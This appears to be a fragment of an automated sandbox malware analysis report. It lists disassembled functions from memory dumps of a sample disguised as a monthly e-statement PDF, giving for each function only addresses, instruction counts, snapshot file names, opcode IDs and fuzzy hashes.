                                                                                                                • Instruction Fuzzy Hash: 1A216B75E003059BCB15DFB5D8546DEBBB5FF9A300B10862AE415A7241EF70A949CBA0
                                                                                                                Function 05AC2570 Relevance: .1, Instructions: 68COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 34ece00dd35d3719579dd45771312d5baddac51b6f6eec174454d9dcbb6411b7
                                                                                                                • Instruction ID: 5a5e834609eee01e5f319f9928c14f8fa334aafa3e966cd9d0e1ae5525b72c8d
                                                                                                                • Opcode Fuzzy Hash: 34ece00dd35d3719579dd45771312d5baddac51b6f6eec174454d9dcbb6411b7
                                                                                                                • Instruction Fuzzy Hash: 3C1190313003065FCB01ABB9E882A5EBBE6EF842107448A69E516CF382EF71EC0547F1
                                                                                                                Function 05AB3E60 Relevance: .1, Instructions: 68COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 02f01b018072a900b0a7a8de709b0fdbdfeedb46d0804724f67cfc978b7231b8
                                                                                                                • Instruction ID: 87c7932ea1b2d2eff89b65fcadc928e3807cbc120e012d8bebac24193eb52534
                                                                                                                • Opcode Fuzzy Hash: 02f01b018072a900b0a7a8de709b0fdbdfeedb46d0804724f67cfc978b7231b8
                                                                                                                • Instruction Fuzzy Hash: 072190763003415FEB05DF68E8A586EBBA6EFC5230315856BE50ACB352DF71DC058BA0
                                                                                                                Function 00F20A01 Relevance: .1, Instructions: 67COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b824cffc4aa454f9cd5d58a72c3f1cdfed4acbbc1ff3713d53603b9fd383c078
                                                                                                                • Instruction ID: eb1ab2ca8c94f012078f6c6f27f3926e8c8405652b917e636a7d2049939e9f51
                                                                                                                • Opcode Fuzzy Hash: b824cffc4aa454f9cd5d58a72c3f1cdfed4acbbc1ff3713d53603b9fd383c078
                                                                                                                • Instruction Fuzzy Hash: 9C210375E042589FDB19CFAAD8146DEFBF2AF89310F08C06AD404A7265DB345A46CF60
                                                                                                                Function 05ABAF98 Relevance: .1, Instructions: 65COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 00afc5aefe16213b1df2a4b9a1e874f39b33e8ebff32ed1ee76bda95617e5e4f
                                                                                                                • Instruction ID: dfc2301de57cdd473f1ca5e08a0f25bfe43f75a80e815dc6adbbccacca29c48a
                                                                                                                • Opcode Fuzzy Hash: 00afc5aefe16213b1df2a4b9a1e874f39b33e8ebff32ed1ee76bda95617e5e4f
                                                                                                                • Instruction Fuzzy Hash: A71132327092905FD7158A389850BAE7FB6DFC6620F6445ABE449CF382CB21ED07C3A4
                                                                                                                Function 00F24E18 Relevance: .1, Instructions: 64COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 507a881353db8248e6a4ad84ff1751dea1eb6485354b0c496e39f8ad7a5ca962
                                                                                                                • Instruction ID: e16e26c99bea241f6666a1b0a434db3e1dcab9e79ef0f0fd5e81fbb0ca46c858
                                                                                                                • Opcode Fuzzy Hash: 507a881353db8248e6a4ad84ff1751dea1eb6485354b0c496e39f8ad7a5ca962
                                                                                                                • Instruction Fuzzy Hash: C0214A31600B018FD735DF66E84869ABBF5FF44320B104A2DD0529B6A0DBB1F94ACF90
                                                                                                                Function 05ABB068 Relevance: .1, Instructions: 64COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: bd29ca1c68bfac6ff3ce6d1e078c2e2e415747fc6d57380a1f8ea0c3a3099d88
                                                                                                                • Instruction ID: 83e7aa5724288a8ec1318469d7b311354f4f95666802819ad932b674d87235be
                                                                                                                • Opcode Fuzzy Hash: bd29ca1c68bfac6ff3ce6d1e078c2e2e415747fc6d57380a1f8ea0c3a3099d88
                                                                                                                • Instruction Fuzzy Hash: B50125317043455FEB146B3D6840A2FBAAAEBC6220724422EE019C7390DF215C0283B0
                                                                                                                Function 00F2CE98 Relevance: .1, Instructions: 63COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 2d8e504bcd3a12befec9c1cc8d181a5244c5cd96e7e689a06e4abbb7098590b2
                                                                                                                • Instruction ID: 6dd0171ce4b221c2b872964e0cb67382b8442330b9a791519e2ce55c73f6f1e0
                                                                                                                • Opcode Fuzzy Hash: 2d8e504bcd3a12befec9c1cc8d181a5244c5cd96e7e689a06e4abbb7098590b2
                                                                                                                • Instruction Fuzzy Hash: C111A97A7046118FDB15CF68D580A6EB7E6EFCC2607228469E45ADB741DB30EC029BA0
                                                                                                                Function 05AB2150 Relevance: .1, Instructions: 63COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 15bc9d227f5113b65be7d23ac97511a26cc57dfe7ec81e155d3ae15f6bc4a014
                                                                                                                • Instruction ID: 92364d44571a270b9bbebdf994908b124260e093ad3062fdd10bf5c51e6f5c3b
                                                                                                                • Opcode Fuzzy Hash: 15bc9d227f5113b65be7d23ac97511a26cc57dfe7ec81e155d3ae15f6bc4a014
                                                                                                                • Instruction Fuzzy Hash: B2219075B0030A9FCB00DFA8D8829AEBBF5FF85200B40856AE115AB755DB30ED058BE1
                                                                                                                Function 00F2A518 Relevance: .1, Instructions: 62COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 9d234cea3267c76f795a18d6d37a9c950b362905ad2324063883aa633c1e4533
                                                                                                                • Instruction ID: 566cb45dc77b7dfe461c7728ea7d18c74cee085c9a21186ffb8d06a2fdc8ae76
                                                                                                                • Opcode Fuzzy Hash: 9d234cea3267c76f795a18d6d37a9c950b362905ad2324063883aa633c1e4533
                                                                                                                • Instruction Fuzzy Hash: C311A936F002259BCF205E58DC05AAFBBB5DFC4761B094475DA06DB220DA35CC55DBD1
                                                                                                                Function 05AC1B18 Relevance: .1, Instructions: 62COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 57f3d2523a21c57adf13041d68bbdecc3167486093799bd0295bda8f9b060c0d
                                                                                                                • Instruction ID: 48d847ed7755be7e5c108f608d5534739c54110d0067d5efcccb87d7213a06b2
                                                                                                                • Opcode Fuzzy Hash: 57f3d2523a21c57adf13041d68bbdecc3167486093799bd0295bda8f9b060c0d
                                                                                                                • Instruction Fuzzy Hash: 31119375310301AFDB05EF65E8C1AAEB7A6FB942507408929E519DB341EF70ED058BE1
                                                                                                                Function 00F2CEA8 Relevance: .1, Instructions: 61COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: d55b1fc87b17dac6f36a124a7eb74896c32eca99918de988b2307aeb29957d32
                                                                                                                • Instruction ID: 7678f17d720319f9613471562441ab3277e55180a4df84ea8600cbbc385e500c
                                                                                                                • Opcode Fuzzy Hash: d55b1fc87b17dac6f36a124a7eb74896c32eca99918de988b2307aeb29957d32
                                                                                                                • Instruction Fuzzy Hash: 10116D397006119FDB14DF69D480A2EB7E7FBCC3247218529E54A8B740DB31EC029BA0
                                                                                                                Function 05AC2580 Relevance: .1, Instructions: 61COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 369dc428d4b9067cc0055788f97e7187ceadc30ad97945a9369b64261e927c7e
                                                                                                                • Instruction ID: a32f7428ed1a32ccb0d1d50400cfd5984dab6bdae9b0ead59a42d94d58be0e6b
                                                                                                                • Opcode Fuzzy Hash: 369dc428d4b9067cc0055788f97e7187ceadc30ad97945a9369b64261e927c7e
                                                                                                                • Instruction Fuzzy Hash: 54118C717003569B8F15ABB9E88195EBBE6EF842103448A69E519CF381EF71EC0487A5
                                                                                                                Function 05AB2160 Relevance: .1, Instructions: 60COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: d271c98c0a7726f63c0e9cda0cca1513764ad3f1f31c0e2e20326fdfd39780c0
                                                                                                                • Instruction ID: c4a81e47add1af4861d843e52a15edebe4a2fca1e59dabc6f0ef654f70ad0775
                                                                                                                • Opcode Fuzzy Hash: d271c98c0a7726f63c0e9cda0cca1513764ad3f1f31c0e2e20326fdfd39780c0
                                                                                                                • Instruction Fuzzy Hash: 06114C71A0030A9FDB00DFA8D881DAEBBF5FF84210B508529E519AB755EB70ED058BE1
                                                                                                                Function 05AC1B28 Relevance: .1, Instructions: 59COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 16703c21fbc4ee7542fa2a3a04c97b2f2e01272891a6c22f1e2248f32c5b01f4
                                                                                                                • Instruction ID: 4ad2caae099f0d843c94388a86a8693f734d1db8a1192de9d0a1b1b17cd5001b
                                                                                                                • Opcode Fuzzy Hash: 16703c21fbc4ee7542fa2a3a04c97b2f2e01272891a6c22f1e2248f32c5b01f4
                                                                                                                • Instruction Fuzzy Hash: C4118F71310301AFDB04EF65E881DAEBBA6FB942507408929E5258B340EF71ED058BE0
                                                                                                                Function 05AB4E58 Relevance: .1, Instructions: 59COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 3aba3411c37080a6016d52ea668a2db8f6611e9dc0aa0948ec1642bf32a8e7e9
                                                                                                                • Instruction ID: 198f9eee4c263695aa0567daa8fef57be573c2f88562bfc4093471d8333f04ed
                                                                                                                • Opcode Fuzzy Hash: 3aba3411c37080a6016d52ea668a2db8f6611e9dc0aa0948ec1642bf32a8e7e9
                                                                                                                • Instruction Fuzzy Hash: D9118672A147448FDB01AFB8D8156DD7FB4AE4A211F0146ABD594EB2A2FB20C5488BD2
                                                                                                                Function 05AB7982 Relevance: .1, Instructions: 59COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 797bc37497f7527356b70921ed3458c86ad74e311123f4793bddb7b6e3ad0b2e
                                                                                                                • Instruction ID: 73928f2814bb59d3296600ddbc86dd46ebcfc77aa9d7831e6ffe683d38cfc5be
                                                                                                                • Opcode Fuzzy Hash: 797bc37497f7527356b70921ed3458c86ad74e311123f4793bddb7b6e3ad0b2e
                                                                                                                • Instruction Fuzzy Hash: ED21C774A01219CFDB64DF24D895A9CBBB5FB48300F108199E806E7351DB719E85CF60
                                                                                                                Function 00F2A509 Relevance: .1, Instructions: 58COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: e37b985471824321056d4beb5135023191871448b5bf9a2e6fbf7a47f495ccb4
                                                                                                                • Instruction ID: 0f4c446dc2511d56877d749539f291b0aa79d91e7df117b6e052878d537c3280
                                                                                                                • Opcode Fuzzy Hash: e37b985471824321056d4beb5135023191871448b5bf9a2e6fbf7a47f495ccb4
                                                                                                                • Instruction Fuzzy Hash: 51110836E003219FDF215F54DD056BF7B66EF88721F0D4465DA06EB261DA34CC01AB92
                                                                                                                Function 05AB3A48 Relevance: .1, Instructions: 56COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 9b7fb2527ca2e453a1d55ea8109bf3a10c80a3238804ee4aaa46b5107a103d36
                                                                                                                • Instruction ID: 0d11fca7452c69f6e80fd9d8bf764f1880e83d61c892d58815a5c2a2b429faa3
                                                                                                                • Opcode Fuzzy Hash: 9b7fb2527ca2e453a1d55ea8109bf3a10c80a3238804ee4aaa46b5107a103d36
                                                                                                                • Instruction Fuzzy Hash: CD014973B092105BDF1012697844AFE7EA9DBD1661B14056FF905C3281DAB2880887B0
                                                                                                                Function 00F20839 Relevance: .1, Instructions: 55COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 8098094fb3525233aa435f25fe47248d9e467acaab5c0884804f95eb92e29659
                                                                                                                • Instruction ID: cde079dfd0cc430f6132e82fe867968c3e059acc0d488e3cb534088207f12887
                                                                                                                • Opcode Fuzzy Hash: 8098094fb3525233aa435f25fe47248d9e467acaab5c0884804f95eb92e29659
                                                                                                                • Instruction Fuzzy Hash: 68113074E003099FCB44DFA8D8519AEBBB1FF89300F10846AD514E7392DB34A905CF61
                                                                                                                Function 05AC1D10 Relevance: .1, Instructions: 55COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 37c30c7ab989e7d405c17e87f81009c16f3798248e8993fd04814f806811d8e7
                                                                                                                • Instruction ID: 05249c1ded7cbf2b975095bd992392b9c356e315003051bdfcbddea05f2de9ef
                                                                                                                • Opcode Fuzzy Hash: 37c30c7ab989e7d405c17e87f81009c16f3798248e8993fd04814f806811d8e7
                                                                                                                • Instruction Fuzzy Hash: 0401DE7A3006109F8705DB6EE8949AEB7A7EBC822132480BBE105C7361CB32DC52C764
                                                                                                                Function 00F24E08 Relevance: .1, Instructions: 53COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: ff8a53a8e4d4efb2365dc959fdd9e062d9fe65441607c377db2a4ffdb9335abd
                                                                                                                • Instruction ID: d224ee60a5541ab975aa133d32cfa510ed011216d528a9557ed8abe818557592
                                                                                                                • Opcode Fuzzy Hash: ff8a53a8e4d4efb2365dc959fdd9e062d9fe65441607c377db2a4ffdb9335abd
                                                                                                                • Instruction Fuzzy Hash: 7911C1316007148FDB31DF25D8446DABBF1FF48320B004A69D452AB2A5DBB1FD49CB90
                                                                                                                Function 05AC7D41 Relevance: .1, Instructions: 53COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 695b93cf07d23794ca74d933b1b4eda5e5520e247a50ba4779d53b29820efcd3
                                                                                                                • Instruction ID: e6a44a4be58d396a26d06a84aaea4c903911d203c65b6785886f6e61c61839c0
                                                                                                                • Opcode Fuzzy Hash: 695b93cf07d23794ca74d933b1b4eda5e5520e247a50ba4779d53b29820efcd3
                                                                                                                • Instruction Fuzzy Hash: D101A576B002198BCB00EBA4EC996BEBF76FB84261F144169E515E7380DB705901CFB0
                                                                                                                Function 05AC7290 Relevance: .1, Instructions: 53COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 9dfe3615d3af0c26f172c191fbb30848275952b06c69ae67daf533ce3b9fd467
                                                                                                                • Instruction ID: 3b445168fa035d6e784264e01ca5a8ca26e86bff185624a32b803495b4454eea
                                                                                                                • Opcode Fuzzy Hash: 9dfe3615d3af0c26f172c191fbb30848275952b06c69ae67daf533ce3b9fd467
                                                                                                                • Instruction Fuzzy Hash: 7C115E71B002158FDB18EB68C458A9D7BF6FF88201F1000ADE402EB7A1CF759C02CBA1
                                                                                                                Function 05AB12F9 Relevance: .1, Instructions: 53COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 2d59d4f2d092946f64a398d8264caf99be50d37f9ce6c996d915aa2f43311294
                                                                                                                • Instruction ID: a1117bcd7d58a13182504f67ac8a8c253cad601760b3de8a84286d87eee67527
                                                                                                                • Opcode Fuzzy Hash: 2d59d4f2d092946f64a398d8264caf99be50d37f9ce6c996d915aa2f43311294
                                                                                                                • Instruction Fuzzy Hash: 3811FB31E0125A9FEF54DBA4D865BEDBBB2BF8D350F000469E401BB661EB785940CB91
                                                                                                                Function 05AB5ED0 Relevance: .1, Instructions: 53COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 70ba3b0eedd8331ad4ea4522563f92794e99304d34fd09d9719c00e154cea430
                                                                                                                • Instruction ID: 74044e04884748998140526438b59cfd1e4ce3a6183a6e540bbe68988af5fdc1
                                                                                                                • Opcode Fuzzy Hash: 70ba3b0eedd8331ad4ea4522563f92794e99304d34fd09d9719c00e154cea430
                                                                                                                • Instruction Fuzzy Hash: 49114575B002159FDF14CFB9C980EAAFBF9FF48251B11806AE819DB351E730E9008B90
                                                                                                                Function 05ABE351 Relevance: .1, Instructions: 52COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: ac0595aa9f8041a254118c072d0992a0b6461ab1be85bc1108fbf50f0a0d6446
                                                                                                                • Instruction ID: 6f63b62674ada8d5ea8eec25d5f68e2e1878019e2ef13318ee7e4c80f9e2acb2
                                                                                                                • Opcode Fuzzy Hash: ac0595aa9f8041a254118c072d0992a0b6461ab1be85bc1108fbf50f0a0d6446
                                                                                                                • Instruction Fuzzy Hash: E80149727013005FE711DB76E985FAE7FAAEBC9111744852AE046CB781EE75CC0447B1
                                                                                                                Function 05ABAEA8 Relevance: .1, Instructions: 52COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b4846fab6ebbb436d67e5131f16e7f4645a813bfee23432b25e9725e83e75b29
                                                                                                                • Instruction ID: b9dcede53de165a4ea5d190228176c06daec7d1550850374543890e349696a02
                                                                                                                • Opcode Fuzzy Hash: b4846fab6ebbb436d67e5131f16e7f4645a813bfee23432b25e9725e83e75b29
                                                                                                                • Instruction Fuzzy Hash: FF111B753006049FD324DB6AD884E6BB7EAFF88620B55851DE556CB761CB70FC01CBA0
                                                                                                                Function 05AC36CA Relevance: .1, Instructions: 51COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: da07853e7e4002c5e248e4525729251d4c1be573acc6e3c490210cfe7c44eeee
                                                                                                                • Instruction ID: 1c6ff4529bfa33d208e468eefd57d330c82e052496e659ceaf208cb5e268f452
                                                                                                                • Opcode Fuzzy Hash: da07853e7e4002c5e248e4525729251d4c1be573acc6e3c490210cfe7c44eeee
                                                                                                                • Instruction Fuzzy Hash: EE01A7353001155FCB45BB79D469E1E7AEBEFC5261710806DE806DB356CE749C0287D1
                                                                                                                Function 05AB00EA Relevance: .1, Instructions: 51COMMON
                                                                                                                Download Yara Rule
